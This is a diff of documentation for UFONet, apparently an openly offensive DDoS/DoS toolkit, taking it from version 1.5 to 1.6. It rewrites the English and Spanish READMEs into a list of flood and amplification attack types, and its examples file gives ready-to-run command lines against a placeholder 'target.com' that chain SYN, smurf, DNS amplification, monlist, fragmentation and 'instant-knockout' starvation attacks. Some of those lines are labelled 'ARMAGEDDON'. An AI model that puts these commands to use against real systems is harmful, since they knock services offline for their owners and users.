-O un ataque TACHYON ('root' requerido) para realizar una amplificación distribuída del tráfico DNS:
-
-     sudo python ufonet -a http://target.com --tachyon 1000
-
-Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo:
-
-     python ufonet -a http://target.com --loic 100 --loris 100
+###############################
+# Ataques Extra
+###############################
 
-     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000
+ - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
+ - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software)
+ - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood
+ - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack
+ - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
+ - SPRAY: https://en.wikipedia.org/wiki/DRDOS
+ - SMURF: https://en.wikipedia.org/wiki/Smurf_attack
+ - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet
+ - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack
+ - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/
+ - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A
+ - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
+ - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A
+ - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood
+ - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/
+ - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack
+ - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
+
+Todos los ataques pueden ser combinados haciendo que UFONet utilice distintas técnicas de DDoS y DoS, al mismo tiempo.
 
 ###############################
 # Actualizando
@@ -456,6 +440,10 @@ más algunas "extra":
 # Timelog
 ###############################
 
+--------------------------
+17.08.2020 : v.1.6
+--------------------------
+
 --------------------------
 08.06.2020 : v.1.5
 --------------------------

+ 26 - 39
docs/README.txt

@@ -341,46 +341,29 @@ You can test your list of 'XML-RPCs zombies' launching:
 
      ./ufonet --test-rpc
 
-At same time, you can connect LOIC (with proxy support), to make a determinate number of recursive requests 
-directly to your target:
-
-     ./ufonet -a http://target.com --loic 100
-
-You can connect LORIS to make requests leave open threads on the target too, making the web server 
-work slower:
-
-     ./ufonet -a http://target.com --loris 100
-
-And you can connect UFOSYN (it requires 'root' access) to start a powerful TCP/SYN flood attack:
-
-     sudo python ufonet -a http://target.com --ufosyn 100
-
-Or make a SPRAY ('root' required) attack to launch a Distributed 'Reflection' Denial of Service (DrDoS):
-
-     sudo python ufonet -a http://target.com --spray 100
-
-A SMURF ('root' required) attack to send Distributed ICMP 'Broadcast' packets:
-
-     sudo python ufonet -a http://target.com --smurf 101
-
-Or a XMAS ('root' required) attack that will flood your target with 'Christmas Tree' packets
-
-     sudo python ufonet -a http://target.com --xmas 101
-
-A STARVATION attack ('root' required) that will knock down your target in seconds, if it does not have a 
-minimum level of protection:
-
-     sudo python ufonet -a http://target.com --nuke 10000
-
-Or a TACHYON ('root' required) attack to perform a distributed amplification of DNS traffic:
-
-     sudo python ufonet -a http://target.com --tachyon 1000
-
-All ways could be combined, so UFONet can attack DDoS and DoS, at the same time:
-
-     python ufonet -a http://target.com --loic 100 --loris 100
+###############################
+# Extra attacks
+###############################
 
-     sudo python ufonet -a http://target.com --loic 100 --loris 100 --ufosyn 100 --spray 100 --smurf 101 --xmas 101 --nuke 10000 --tachyon 1000
+ - LOIC: https://en.wikipedia.org/wiki/Low_Orbit_Ion_Cannon
+ - LORIS: https://en.wikipedia.org/wiki/Slowloris_(software)
+ - UFOSYN: https://en.wikipedia.org/wiki/SYN_flood
+ - FRAGGLE: https://en.wikipedia.org/wiki/Fraggle_attack
+ - UFORST: https://ddos-guard.net/en/terminology/attack_type/rst-or-fin-flood
+ - SPRAY: https://en.wikipedia.org/wiki/DRDOS
+ - SMURF: https://en.wikipedia.org/wiki/Smurf_attack
+ - XMAS: https://en.wikipedia.org/wiki/Christmas_tree_packet
+ - DROPER: https://en.wikipedia.org/wiki/IP_fragmentation_attack
+ - SNIPER: https://www.imperva.com/learn/application-security/snmp-reflection/
+ - TACHYON: https://www.us-cert.gov/ncas/alerts/TA13-088A
+ - PINGER: https://www.cloudflare.com/learning/ddos/ping-icmp-flood-ddos-attack/
+ - MONLIST: https://www.us-cert.gov/ncas/alerts/TA14-013A
+ - UFOACK: https://www.f5.com/services/resources/glossary/push-and-ack-flood
+ - OVERLAP: https://cyberhoot.com/cybrary/fragment-overlap-attack/
+ - UFOUDP: https://en.wikipedia.org/wiki/UDP_flood_attack
+ - NUKE: https://dl.packetstormsecurity.net/papers/general/tcp-starvation.pdf
+
+All ways could be combined, so UFONet can attack DDoS and DoS, at the same time.
 
 ###############################
 # Updating
@@ -451,6 +434,10 @@ This will open a tab on your default browser with all features of the tool and s
 # Timelog
 ###############################
 
+--------------------------
+17.08.2020 : v.1.6
+--------------------------
+
 --------------------------
 08.06.2020 : v.1.5
 --------------------------

+ 2 - 1
docs/VERSION

@@ -15,4 +15,5 @@ Date	    Size     Version    Alias
 2018-12-31  966.9Kb   1.2       Armageddon!         
 2019-03-07    1.0Mb   1.3       SingularitY!        
 2020-02-01   25.0Mb   1.4       T!M3-WaRS           
-2020-06-08   27.2Mb   1.5       MuLTi.V3rSe!        
+2020-06-08   27.2Mb   1.5       MuLTi.V3rSe!
+2020-08-17   27.4Mb   1.6       M4RAuD3R!       

+ 5 - 5
docs/examples.txt

@@ -47,31 +47,31 @@
 +_PALANTIR-3.14 (non-root): 
 ----------------------------------------------
 
- ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --loic "1000" --loris "1000"
 
 ----------------------------------------------
 +_SOCKING_WAVES (instant-knockout!) (as root):
 ----------------------------------------------
 
- ufonet -a "http://target.com" -r "100" --nuke "10000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --nuke "10000"
 
 ----------------------------------------------
 +_XCOM-1 (only DDoS) (as root): 
 ----------------------------------------------
 
- ufonet -a "http://target.com" -r "100" --spray "1000" --smurf "1000" --tachyon "1000" --monlist "1000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --spray "1000" --smurf "1000" --tachyon "1000" --monlist "1000" --fraggle "1000" --sniper "1000"
 
 ----------------------------------------------
 +_XCOM-2 (only DoS) (as root):
 ----------------------------------------------
 
- ufonet -a "http://target.com" -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --xmas "1000" --nuke "1000"
+ ufonet -a "http://target.com" -r "100" --threads "100" --loic "1000" --loris "1000" --ufosyn "1000" --xmas "1000" --nuke "1000" --ufoack "1000" --uforst "1000" --droper "1000" --overlap "1000" --pinger "1000" --ufoudp "1000"
 
 ----------------------------------------------
 +_ARMAGEDDON! (with ALL!) (as root):
 ----------------------------------------------
 
- ufonet -a http://target.com -r "100" --loic "1000" --loris "1000" --ufosyn "1000" --spray "1000" --smurf "1000" --xmas "1000" --nuke "1000" --tachyon "1000" --monlist "1000" --threads "100"
+ ufonet -a http://target.com -r "100" --threads "100" --loic "1000" --loris "1000" --ufosyn "1000" --spray "1000" --smurf "1000" --xmas "1000" --nuke "1000" --tachyon "1000" --monlist "1000" --fraggle "1000" --sniper "1000" --ufoack "1000" --uforst "1000" --droper "1000" --overlap "1000" --pinger "1000" --ufoudp "1000" 
 
 -----------------------------------------------------------------------------
 +_UFONET_EXAMPLES (online):

+ 1 - 1
docs/release.date

@@ -1 +1 @@
-Mon Jun  8 12:00:02 2020
+Mon Aug  17 22:00:02 2020

+ 1 - 1
setup.py

@@ -18,7 +18,7 @@ from setuptools import setup, find_packages
 
 setup(
     name='ufonet',
-    version='1.5',
+    version='1.6',
     license='GPLv3',
     author_email='epsylon@riseup.net',
     author='psy',